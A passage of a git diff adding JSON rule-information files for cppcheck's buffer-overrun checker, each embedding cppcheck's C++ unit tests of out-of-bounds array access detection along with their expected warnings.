x[5] = {0};\\n\nint a = (x)[10];\\n\"\n\"char c = \\\"abc\\\"[4];\\n\"\n\"p = &\\\"abc\\\"[4];\\n\"\n\"void foo(char bar[][4]) {\\n\n baz(bar[5]);\\n\n}\");" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/arrayIndexThenCheck.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/arrayIndexThenCheck.json new file mode 100644 index 0000000..708647f --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/arrayIndexThenCheck.json @@ -0,0 +1,22 @@ +{ + "name": "arrayIndexThenCheck", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 35, + "branches": 11, + "apis": 32, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 5057 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n\n#include \"check.h\"\n#include \"checkbufferoverrun.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"fixture.h\"\n\n#include \n#include \n#include \n\nclass TestBufferOverrun : public TestFixture {\npublic:\n TestBufferOverrun() : TestFixture(\"TestBufferOverrun\") {}\n\nprivate:\n /*const*/ Settings settings0 = settingsBuilder().library(\"std.cfg\").severity(Severity::warning).severity(Severity::style).severity(Severity::portability).build();\n\n struct CheckOptions\n {\n CheckOptions() = default;\n const Settings* s = nullptr;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings = options.s ? *options.s : settingsBuilder(settings0).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for buffer overruns..\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n const Settings settings = settingsBuilder(settings0).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for buffer overruns..\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkP_(const char* file, int line, const char code[])\n {\n const Settings settings = settingsBuilder(settings0).severity(Severity::performance).certainty(Certainty::inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check for buffer overruns..\n runChecks(tokenizer, this);\n }\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(noerr1);\n TEST_CASE(noerr2);\n TEST_CASE(noerr3);\n TEST_CASE(noerr4);\n\n TEST_CASE(sizeof3);\n\n TEST_CASE(array_index_1);\n TEST_CASE(array_index_2);\n TEST_CASE(array_index_3);\n TEST_CASE(array_index_4);\n TEST_CASE(array_index_6);\n TEST_CASE(array_index_7);\n TEST_CASE(array_index_11);\n TEST_CASE(array_index_12);\n TEST_CASE(array_index_13);\n TEST_CASE(array_index_14);\n TEST_CASE(array_index_15);\n TEST_CASE(array_index_16);\n TEST_CASE(array_index_17);\n TEST_CASE(array_index_18);\n TEST_CASE(array_index_19);\n TEST_CASE(array_index_20);\n TEST_CASE(array_index_21);\n TEST_CASE(array_index_22);\n TEST_CASE(array_index_23);\n TEST_CASE(array_index_24); // ticket #1492 and #1539\n TEST_CASE(array_index_25); // ticket #1536\n TEST_CASE(array_index_26);\n TEST_CASE(array_index_27);\n TEST_CASE(array_index_28); // ticket #1418\n TEST_CASE(array_index_29); // ticket #1734\n TEST_CASE(array_index_30); // ticket #2086 - out of bounds when type is unknown\n TEST_CASE(array_index_31); // ticket #2120 - out of bounds in subfunction when type is unknown\n TEST_CASE(array_index_32);\n TEST_CASE(array_index_33); // ticket #3044\n TEST_CASE(array_index_34); // ticket #3063\n TEST_CASE(array_index_35); // ticket #2889\n TEST_CASE(array_index_36); // ticket #2960\n TEST_CASE(array_index_37);\n TEST_CASE(array_index_38); // ticket #3273\n TEST_CASE(array_index_39);\n TEST_CASE(array_index_40); // loop variable calculation, taking address\n TEST_CASE(array_index_41); // structs with the same name\n TEST_CASE(array_index_42);\n TEST_CASE(array_index_43); // struct with array\n TEST_CASE(array_index_44); // #3979\n TEST_CASE(array_index_45); // #4207 - calling function with variable number of parameters (...)\n TEST_CASE(array_index_46); // #4840 - two-statement for loop\n TEST_CASE(array_index_47); // #5849\n TEST_CASE(array_index_48); // #9478\n TEST_CASE(array_index_49); // #8653\n TEST_CASE(array_index_50);\n TEST_CASE(array_index_51); // #3763\n TEST_CASE(array_index_52); // #7682\n TEST_CASE(array_index_53); // #4750\n TEST_CASE(array_index_54); // #10268\n TEST_CASE(array_index_55); // #10254\n TEST_CASE(array_index_56); // #10284\n TEST_CASE(array_index_57); // #10023\n TEST_CASE(array_index_58); // #7524\n TEST_CASE(array_index_59); // #10413\n TEST_CASE(array_index_60); // #10617, #9824\n TEST_CASE(array_index_61); // #10621\n TEST_CASE(array_index_62); // #7684\n TEST_CASE(array_index_63); // #10979\n TEST_CASE(array_index_64); // #10878\n TEST_CASE(array_index_65); // #11066\n TEST_CASE(array_index_66); // #10740\n TEST_CASE(array_index_67); // #1596\n TEST_CASE(array_index_68); // #6655\n TEST_CASE(array_index_69); // #6370\n TEST_CASE(array_index_70); // #11355\n TEST_CASE(array_index_71); // #11461\n TEST_CASE(array_index_72); // #11784\n TEST_CASE(array_index_73); // #11530\n TEST_CASE(array_index_74); // #11088\n TEST_CASE(array_index_75);\n TEST_CASE(array_index_76);\n TEST_CASE(array_index_multidim);\n TEST_CASE(array_index_switch_in_for);\n TEST_CASE(array_index_for_in_for); // FP: #2634\n TEST_CASE(array_index_bounds);\n TEST_CASE(array_index_calculation);\n TEST_CASE(array_index_negative1);\n TEST_CASE(array_index_negative2); // ticket #3063\n TEST_CASE(array_index_negative3);\n TEST_CASE(array_index_negative4);\n TEST_CASE(array_index_negative5); // #10526\n TEST_CASE(array_index_negative6); // #11349\n TEST_CASE(array_index_negative7); // #5685\n TEST_CASE(array_index_negative8); // #11651\n TEST_CASE(array_index_negative9);\n TEST_CASE(array_index_negative10);\n TEST_CASE(array_index_for_decr);\n TEST_CASE(array_index_varnames); // FP: struct member #1576, FN: #1586\n TEST_CASE(array_index_for_continue); // for,continue\n TEST_CASE(array_index_for); // FN: for,if\n TEST_CASE(array_index_for_neq); // #2211: Using != in condition\n TEST_CASE(array_index_for_question); // #2561: for, ?:\n TEST_CASE(array_index_for_andand_oror); // FN: using && or || in the for loop condition\n TEST_CASE(array_index_for_varid0); // #4228: No varid for counter variable\n TEST_CASE(array_index_vla_for); // #3221: access VLA inside for\n TEST_CASE(array_index_extern); // FP when using 'extern'. #1684\n TEST_CASE(array_index_cast); // FP after cast. #2841\n TEST_CASE(array_index_string_literal);\n TEST_CASE(array_index_same_struct_and_var_name); // #4751 - not handled well when struct name and var name is same\n TEST_CASE(array_index_valueflow);\n TEST_CASE(array_index_valueflow_pointer);\n TEST_CASE(array_index_function_parameter);\n TEST_CASE(array_index_enum_array); // #8439\n TEST_CASE(array_index_container); // #9386\n TEST_CASE(array_index_two_for_loops);\n TEST_CASE(array_index_new); // #7690\n\n TEST_CASE(buffer_overrun_2_struct);\n TEST_CASE(buffer_overrun_3);\n TEST_CASE(buffer_overrun_4);\n TEST_CASE(buffer_overrun_5);\n TEST_CASE(buffer_overrun_6);\n TEST_CASE(buffer_overrun_7);\n TEST_CASE(buffer_overrun_8);\n TEST_CASE(buffer_overrun_9);\n TEST_CASE(buffer_overrun_10);\n TEST_CASE(buffer_overrun_11);\n TEST_CASE(buffer_overrun_15); // ticket #1787\n TEST_CASE(buffer_overrun_16);\n TEST_CASE(buffer_overrun_18); // ticket #2576 - for, calculation with loop variable\n TEST_CASE(buffer_overrun_19); // #2597 - class member with unknown type\n TEST_CASE(buffer_overrun_21);\n TEST_CASE(buffer_overrun_24); // index variable is changed in for-loop\n TEST_CASE(buffer_overrun_26); // #4432 (segmentation fault)\n TEST_CASE(buffer_overrun_27); // #4444 (segmentation fault)\n TEST_CASE(buffer_overrun_29); // #7083: false positive: typedef and initialization with strings\n TEST_CASE(buffer_overrun_30); // #6367\n TEST_CASE(buffer_overrun_31);\n TEST_CASE(buffer_overrun_32); //#10244\n TEST_CASE(buffer_overrun_33); //#2019\n TEST_CASE(buffer_overrun_34); //#11035\n TEST_CASE(buffer_overrun_35); //#2304\n TEST_CASE(buffer_overrun_36);\n TEST_CASE(buffer_overrun_errorpath);\n TEST_CASE(buffer_overrun_bailoutIfSwitch); // ticket #2378 : bailoutIfSwitch\n TEST_CASE(buffer_overrun_function_array_argument);\n TEST_CASE(possible_buffer_overrun_1); // #3035\n TEST_CASE(buffer_overrun_readSizeFromCfg);\n\n TEST_CASE(valueflow_string); // using ValueFlow string values in checking\n\n // It is undefined behaviour to point out of bounds of an array\n // the address beyond the last element is in bounds\n // char a[10];\n // char *p1 = a + 10; // OK\n // char *p2 = a + 11 // UB\n TEST_CASE(pointer_out_of_bounds_1);\n TEST_CASE(pointer_out_of_bounds_2);\n TEST_CASE(pointer_out_of_bounds_3);\n TEST_CASE(pointer_out_of_bounds_4);\n TEST_CASE(pointer_out_of_bounds_5); // #10227\n TEST_CASE(pointer_out_of_bounds_sub);\n\n TEST_CASE(strcat1);\n\n TEST_CASE(varid1);\n TEST_CASE(varid2); // ticket #4764\n\n TEST_CASE(assign1);\n\n TEST_CASE(alloc_new); // Buffer allocated with new\n TEST_CASE(alloc_malloc); // Buffer allocated with malloc\n TEST_CASE(alloc_string); // statically allocated buffer\n TEST_CASE(alloc_alloca); // Buffer allocated with alloca\n\n // TODO TEST_CASE(countSprintfLength);\n TEST_CASE(minsize_argvalue);\n TEST_CASE(minsize_sizeof);\n TEST_CASE(minsize_strlen);\n TEST_CASE(minsize_mul);\n TEST_CASE(unknownType);\n\n TEST_CASE(terminateStrncpy1);\n TEST_CASE(terminateStrncpy2);\n TEST_CASE(terminateStrncpy3);\n TEST_CASE(terminateStrncpy4);\n TEST_CASE(terminateStrncpy5); // #9944\n TEST_CASE(recursive_long_time);\n\n TEST_CASE(crash1); // Ticket #1587 - crash\n TEST_CASE(crash2); // Ticket #3034 - crash\n TEST_CASE(crash3); // Ticket #5426 - crash\n TEST_CASE(crash4); // Ticket #8679 - crash\n TEST_CASE(crash5); // Ticket #8644 - crash\n TEST_CASE(crash6); // Ticket #9024 - crash\n TEST_CASE(crash7); // Ticket #9073 - crash\n\n TEST_CASE(insecureCmdLineArgs);\n TEST_CASE(checkBufferAllocatedWithStrlen);\n\n TEST_CASE(scope); // handling different scopes\n\n TEST_CASE(getErrorMessages);\n\n // Access array and then check if the used index is within bounds\n TEST_CASE(arrayIndexThenCheck);\n TEST_CASE(arrayIndexEarlyReturn); // #6884\n\n TEST_CASE(bufferNotZeroTerminated);\n\n TEST_CASE(negativeMemoryAllocationSizeError); // #389\n TEST_CASE(negativeArraySize);\n\n TEST_CASE(pointerAddition1);\n\n TEST_CASE(ctu_malloc);\n TEST_CASE(ctu_array);\n TEST_CASE(ctu_variable);\n TEST_CASE(ctu_arithmetic);\n\n TEST_CASE(objectIndex);\n\n TEST_CASE(checkPipeParameterSize); // ticket #3521\n }\n\n\n\n void noerr1() {\n check(\"extern int ab;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (ab)\\n\"\n \" {\\n\"\n \" char str[50];\\n\"\n \" }\\n\"\n \" if (ab)\\n\"\n \" {\\n\"\n \" char str[50];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void noerr2() {\n check(\"static char buf[2];\\n\"\n \"void f1(char *str)\\n\"\n \"{\\n\"\n \" strcpy(buf,str);\\n\"\n \"}\\n\"\n \"void f2(char *str)\\n\"\n \"{\\n\"\n \" strcat(buf,str);\\n\"\n \"}\\n\"\n \"void f3(char *str)\\n\"\n \"{\\n\"\n \" sprintf(buf,\\\"%s\\\",str);\\n\"\n \"}\\n\"\n \"void f4(const char str[])\\n\"\n \"{\\n\"\n \" strcpy(buf, str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void noerr3() {\n check(\"struct { char data[10]; } abc;\\n\"\n \"static char f()\\n\"\n \"{\\n\"\n \" char data[1];\\n\"\n \" return abc.data[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void noerr4() {\n // The memory isn't read or written and therefore there is no error.\n check(\"static void f() {\\n\"\n \" char data[100];\\n\"\n \" const char *p = data + 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sizeof3() {\n check(\"struct group { int gr_gid; };\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" char group[32];\\n\"\n \" snprintf(group, 32, \\\"%u\\\", 0);\\n\"\n \" struct group *gr;\\n\"\n \" snprintf(group, 32, \\\"%u\\\", gr->gr_gid);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char str[0x10] = {0};\\n\"\n \" str[15] = 0;\\n\"\n \" str[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (error) Array 'str[16]' accessed at index 16, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"char f()\\n\"\n \"{\\n\"\n \" char str[16] = {0};\\n\"\n \" return str[16];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:15]: (error) Array 'str[16]' accessed at index 16, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // test stack array\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x[ 3 ] = { 0, 1, 2 };\\n\"\n \" int y;\\n\"\n \" y = x[ 4 ];\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Array 'x[3]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x[ 3 ] = { 0, 1, 2 };\\n\"\n \" int y;\\n\"\n \" y = x[ 2 ];\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x[5] = {0};\\n\"\n \"int a = x[10];\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Array 'x[5]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"int x[5] = {0};\\n\"\n \"int a = (x)[10];\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Array 'x[5]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n\n void array_index_2() {\n check(\"void a(int i)\\n\" // valueflow\n \"{\\n\"\n \" char *str = new char[0x10];\\n\"\n \" str[i] = 0;\\n\"\n \"}\\n\"\n \"void b() { a(16); }\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Array 'str[16]' accessed at index 16, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_4() {\n check(\"char c = \\\"abc\\\"[4];\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (error) Array '\\\"abc\\\"[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"p = &\\\"abc\\\"[4];\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char c = \\\"\\\\0abc\\\"[2];\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char c = L\\\"abc\\\"[4];\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (error) Array 'L\\\"abc\\\"[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = 0; i < 100; i++)\\n\"\n \" sum += val[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (error) Array 'val[50]' accessed at index 99, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = 1; i < 100; i++)\\n\"\n \" sum += val[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (error) Array 'val[50]' accessed at index 99, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(int a)\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = a; i < 100; i++)\\n\"\n \" sum += val[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (error) Array 'val[50]' accessed at index 99, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"typedef struct g g2[3];\\n\"\n \"void foo(char *a)\\n\"\n \"{\\n\"\n \" for (int i = 0; i < 4; i++)\\n\"\n \" {\\n\"\n \" a[i]=0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int argc)\\n\"\n \"{\\n\"\n \" char a[2];\\n\"\n \" for (int i = 4; i < argc; i++){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a[10]) {\\n\"\n \" for (int i=0;i<50;++i) {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Array 'a[10]' accessed at index 49, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_6() {\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[10];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC abc;\\n\"\n \" abc.str[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:12]: (error) Array 'abc.str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[10];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static char f()\\n\"\n \"{\\n\"\n \" struct ABC abc;\\n\"\n \" return abc.str[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:19]: (error) Array 'abc.str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // This is not out of bounds because it is a variable length array\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(struct ABC) + 10);\\n\"\n \" x->str[1] = 0;\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // This is not out of bounds because it is not a variable length array\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(struct ABC) + 10);\\n\"\n \" x->str[1] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n // This is not out of bounds because it is a variable length array\n // and the index is within the memory allocated.\n /** @todo this works by accident because we ignore any access to this array */\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(struct ABC) + 10);\\n\"\n \" x->str[10] = 0;\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // This is out of bounds because it is outside the memory allocated.\n /** @todo this doesn't work because of a bug in sizeof(struct) */\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(struct ABC) + 10);\\n\"\n \" x->str[11] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9]: (error) Array 'str[1]' accessed at index 11, which is out of bounds.\\n\", \"\", errout_str());\n\n // This is out of bounds if 'sizeof(ABC)' is 1 (No padding)\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(ABC) + 10);\\n\"\n \" x->str[11] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n // This is out of bounds because it is outside the memory allocated\n /** @todo this doesn't work because of a bug in sizeof(struct) */\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(struct ABC));\\n\"\n \" x->str[1] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9]: (error) Array 'str[1]' accessed at index 1, which is out of bounds.\\n\", \"\", errout_str());\n\n // This is out of bounds because it is outside the memory allocated\n // But only if 'sizeof(ABC)' is 1 (No padding)\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(ABC));\\n\"\n \" x->str[1] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n // This is out of bounds because it is not a variable array\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC x;\\n\"\n \" x.str[1] = 0;\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (error) Array 'x.str[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct foo\\n\"\n \"{\\n\"\n \" char str[10];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void x()\\n\"\n \"{\\n\"\n \" foo f;\\n\"\n \" for ( unsigned int i = 0; i < 64; ++i )\\n\"\n \" f.str[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (error) Array 'f.str[10]' accessed at index 63, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct AB { char a[NUM]; char b[NUM]; }\\n\"\n \"void f(struct AB *ab) {\\n\"\n \" ab->a[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union { char a[1]; int b; } ab;\\n\"\n \"void f() {\\n\"\n \" ab.a[2] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Array 'ab.a[1]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n\n void array_index_7() {\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[10];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f(struct ABC *abc)\\n\"\n \"{\\n\"\n \" abc->str[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (error) Array 'abc->str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_11() {\n check(\"class ABC\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ABC();\\n\"\n \" char *str[10];\\n\"\n \" struct ABC *next();\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f(ABC *abc1)\\n\"\n \"{\\n\"\n \" for ( ABC *abc = abc1; abc; abc = abc->next() )\\n\"\n \" {\\n\"\n \" abc->str[10] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:13:17]: (error) Array 'abc->str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_12() {\n check(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" char str[10];\\n\"\n \"public:\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred()\\n\"\n \"{\\n\"\n \" str[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:8]: (error) Array 'str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" char str[10];\\n\"\n \"public:\\n\"\n \" char c();\\n\"\n \"};\\n\"\n \"char Fred::c()\\n\"\n \"{\\n\"\n \" return str[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (error) Array 'str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_13() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char buf[10];\\n\"\n \" for (int i = 0; i < 100; i++)\\n\"\n \" {\\n\"\n \" if (i < 10)\\n\"\n \" int x = buf[i];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_14() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" a[i+10] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index 19, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_15() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" a[10+i] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index 19, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_16() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" a[i+1] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_17() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" a[i*2] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index 18, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[12];\\n\"\n \" for (int i = 0; i < 12; i+=6)\\n\"\n \" a[i+5] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[12];\\n\"\n \" for (int i = 0; i < 12; i+=6)\\n\"\n \" a[i+6] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[12]' accessed at index 12, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4398\n \" int a[2];\\n\"\n \" for (int i = 0; i < 4; i+=2)\\n\"\n \" a[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'a[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4398\n \" int a[2];\\n\"\n \" for (int i = 0; i < 4; i+=2)\\n\"\n \" do_stuff(a+i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_18() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i < 6; i++)\\n\"\n \" {\\n\"\n \" a[i] = i;\\n\"\n \" i+=1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i < 6; i++)\\n\"\n \" {\\n\"\n \" a[i] = i;\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i < 6; i++)\\n\"\n \" {\\n\"\n \" a[i] = i;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n 